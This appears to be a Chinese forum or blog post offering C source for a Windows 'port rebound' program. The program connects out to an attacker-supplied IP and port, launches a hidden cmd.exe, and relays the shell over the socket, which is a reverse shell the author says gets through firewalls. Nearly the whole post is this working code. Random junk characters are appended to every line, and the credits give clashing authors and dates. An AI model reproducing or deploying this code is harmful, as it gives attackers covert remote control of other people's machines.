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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0yz~W(tsm  
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/* ============================== +bUW!$G  
Rebound port in Windows NT -TTs.O8P|<  
By wind,2006/7 W^k,Pmopy  
===============================*/ iV!@bC,  
#include vr4O8#  
#include ;%W dvnW  
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#pragma comment(lib,"wsock32.lib") ddoFaQ8  
5,R`@&K3D  
void OutputShell(); 1%jH^,t/m  
SOCKET sClient; DT\ym9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {]`p&@  
f?^S bp  
void main(int argc,char **argv) =m9i)Q  
{ !R6ApB4ZI  
WSADATA stWsaData; i4<BDX5  
int nRet; qp&4 1  
SOCKADDR_IN stSaiClient,stSaiServer; `|EH[W&y  
Pw{"_g  
if(argc != 3) krjN7&  
{ k;Hnu  
printf("Useage:\n\rRebound DestIP DestPort\n"); 4H-j .|e  
return; kYlg4 .~M  
} oRq3 pO}f  
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WSAStartup(MAKEWORD(2,2),&stWsaData); _*E!gPO  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c+2sT3).D  
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stSaiClient.sin_family = AF_INET; 63M=,0-Qt  
stSaiClient.sin_port = htons(0); DsGI/c  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %i"}x/CD[  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =EpJZt  
{ _mk5^u/u  
printf("Bind Socket Failed!\n"); 1TZPef^y  
return; +s~.A_7)  
} H^ BYd%-  
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stSaiServer.sin_family = AF_INET; k':s =IXW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6t7fa<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vq>l>as9O  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R=M!e<'  
{ / M@ PO"  
printf("Connect Error!"); :YNp8!?T?  
return; 56{I`QjX  
} 3m=2x5 {L  
OutputShell(); ~O03Sit-  
} v{y{sA  
3sbK7,4  
void OutputShell() {G*OR,HN  
{ h1f8ktF  
char szBuff[1024]; QDE$E.a  
SECURITY_ATTRIBUTES stSecurityAttributes; 7&+Ys  
OSVERSIONINFO stOsversionInfo; @G*.1;jO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MhxDV d  
STARTUPINFO stStartupInfo; c AEokP  
char *szShell; au$"B/  
PROCESS_INFORMATION stProcessInformation; AVFjBybu9  
unsigned long lBytesRead; J@]k%h  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {Uq:Xw   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); CW`!}yu%  
stSecurityAttributes.lpSecurityDescriptor = 0; f Iy]/  
stSecurityAttributes.bInheritHandle = TRUE; >emcJVYV`[  
*||d\peQ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /S~m)$vu  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A,#2^dR  
j O8k6<l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .=<$S#x^Hb  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E FY@Y[  
stStartupInfo.wShowWindow = SW_HIDE; o8ppMM8_R[  
stStartupInfo.hStdInput = hReadPipe; XUS vhr$|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !#}7{  
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GetVersionEx(&stOsversionInfo); H l<$a"K7\  
X3B{8qx_>  
switch(stOsversionInfo.dwPlatformId) j*3}1L4P  
{ sbS~N*{E  
case 1: ROdK8*jL  
szShell = "command.com"; _^\$" nw  
break; ][7p+IsB  
default: F]_cbM{8/  
szShell = "cmd.exe"; a$JLc a  
break; `hrQw)5?r  
} XvKFPr0~  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); o#D.9K(  
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send(sClient,szMsg,77,0); ^Z}Ob= .G  
while(1) fn}UBzED\  
{ }}T,W.#%u  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jpj!rXTX*  
if(lBytesRead) W?z#pV+jt  
{ H%}IuHhN)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y*LaBxt Q  
send(sClient,szBuff,lBytesRead,0); X_ ?97iXjx  
} c/aup  
else '{[),*nCn  
{ \#,t O%D  
lBytesRead=recv(sClient,szBuff,1024,0); MGt]'}  
if(lBytesRead<=0) break; Vrp[r *V@E  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CxF-Z7 '  
} ll<NIdf\r  
} M1!pQC_9  
\Fb| {6+  
return; Qe$k3!  
}
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